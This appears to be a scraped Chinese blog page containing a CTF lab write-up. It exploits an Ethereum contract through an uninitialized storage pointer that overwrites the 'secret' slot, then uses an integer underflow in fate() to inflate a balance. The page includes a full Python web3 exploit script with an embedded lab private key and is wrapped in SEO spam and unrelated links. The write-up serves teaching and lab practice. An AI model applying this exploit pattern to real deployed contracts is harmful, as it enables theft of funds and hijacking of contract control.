当前位置: 首页 > news >正文

平面设计专业就业前景鞍山seo外包

平面设计专业就业前景,鞍山seo外包,广州网站制作后缀,wordpress换域名把家系列文章目录 文章目录 系列文章目录未初始化的存储指针实战二实验目的实验环境实验工具实验原理实验内容实验过程EXP利用 未初始化的存储指针实战二 实验目的 学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 实验…系列文章目录 文章目录 系列文章目录未初始化的存储指针实战二实验目的实验环境实验工具实验原理实验内容实验过程EXP利用 未初始化的存储指针实战二 实验目的 学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 在solidity语言中像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的因为”栈”里只能保存单独的”字”也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时必须明确指明其位置在storage还是memory中。 函数内声明的struct若未初始化若对其赋值则会按照Solidity存储规则从slot 0开始存储覆盖之前slot位置的变量造成不可预想的控制流劫持。 实验内容 合约中内置了未初始化的存储指针和整数溢出问题找到合约漏洞并形成利用把合约中的flag变量设置为true即可 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10008 实验过程 获取合约地址和合约源代码 nc ip 10008连接到题目输入1获取部署合约的game account及token 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10008连接到题目输入2获取部署合约的地址及new token nc ip 10008连接到题目输入4获取合约源代码或者在题目附件找到合约源代码 分析合约源代码漏洞 题目要求将合约中的flag变量设置为true 分析代码逻辑需要满足balanceOf[msg.sender] 10000000但是并未有可以增加balanceOf[msg.sender]的代码 漏洞在ubw函数中函数中的第二个分支不存在初始化n在执行的时候会形成未初始化漏洞那么只要我们进入第二个分支就会修改storage中的第一个值为我们的地址第二个值为2 第一个值为secret 因此通过未初始化漏洞我们可以执行onlySecret修饰的 fate函数fate函数中存在整数溢出漏洞 通过整数溢出我们可以获得大量余额然后payforflag即可将flag设置为true EXP利用 用python编写自动化exp将下述contract_address替换成自己的题目合约地址即可总共包括三个步骤一是调用题目合约ubw()函数并转账3 wei这样就会进入到else分支将slot 0位置的secret覆盖成msg.sender就可以满足onlySecret二是调用题目合约fate(0,1)函数因为balanceOf[msg.sender]0此时0-1会产生整数下溢满足require的条件三是调用题目合约payforflag()函数因为此时balanceOf[msg.sender]由于整数下溢漏洞已经变成一个很大的数满足10000000的要求可将flag设置为true from web3 import Web3, HTTPProvider from solcx import compile_source,set_solc_version_pragma import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0x2880bF5Afe97F3bF983598E135474D743AC366C3 private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptset_solc_version_pragma(^0.4.23)# call ubw() in ETH8 with 3 wei data Web3.keccak(textubw()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 3e-18) txn_receipt sign_and_send(txn) if(txn_receipt[status]1):print(call ubw() success)time.sleep(5)# call fate(0,1) in ETH8 data Web3.keccak(textfate(address,uint256)).hex()[:10] data 0*64 data 1.rjust(64, 0) txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) # print(txn_receipt) if(txn_receipt[status]1):print(call fate(0,1) success)time.sleep(5)# call payforflag() in ETH8 data Web3.keccak(textpayforflag()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) # print(txn_receipt) if(txn_receipt[status]1):print(call payforflag() success)执行exp nc ip 10008连接到题目输入3输入之前的new token获取flag
http://www.tj-hxxt.cn/news/139825.html

相关文章:

  • 郑州网站建设预订自助网站建设用什么好
  • 如何建一个网站教程做网站需要人员
  • 建设区块链网站大庆网站建设公司哪家好
  • 北京的电商平台网站有哪些内容西安网站制作设计找哪家
  • emlog wordpress网站优化流程图
  • 公司网站策划持续推进网站建设
  • 搭建企业网站具体过程seo知识是什么意思
  • 自己搞网站做外贸wordpress主题上的字怎么移动
  • 免费论坛建站建立传媒公司网站
  • 建材公司网站建设方案网站建设网站制作需要多少钱
  • 枣庄网站建设公司wordpress 定时任务 hook
  • 网站建设公司西安网站建设用什么软件做
  • 网站建设 石家庄建设实验教学网站的作用
  • 做模型的网站有哪些工程建设项目包括哪些项目
  • 企业网站建设的经费预算职业培训机构管理系统
  • 衡水做外贸网站做书评的网站有哪些
  • 网站设计 验收标准百度2023免费下载
  • 网站标签名词最近的新闻热点事件
  • 谷歌网站建设郑州网站建设联系方式
  • 免费网站安全软件下载安装网站对于企业的意义
  • 买好域名后怎么做网站wordpress 投稿 加标签
  • logo制作生成器泉州做网站优化公司
  • 做网站的好框架php网站开发使用技术PDF下载
  • 漳州专业做网站WordPress域名授权破解
  • 中国网站的建设随州公司做网站
  • 音乐资源网站开发网站建设网站软件有哪些内容
  • 四川建设机械网站货源一件代发从哪里找
  • 网站建设制作方法高级网站开发软件
  • 盘锦网站变建设张家界网站建设公司
  • 外贸网站域名海外网站怎么浏览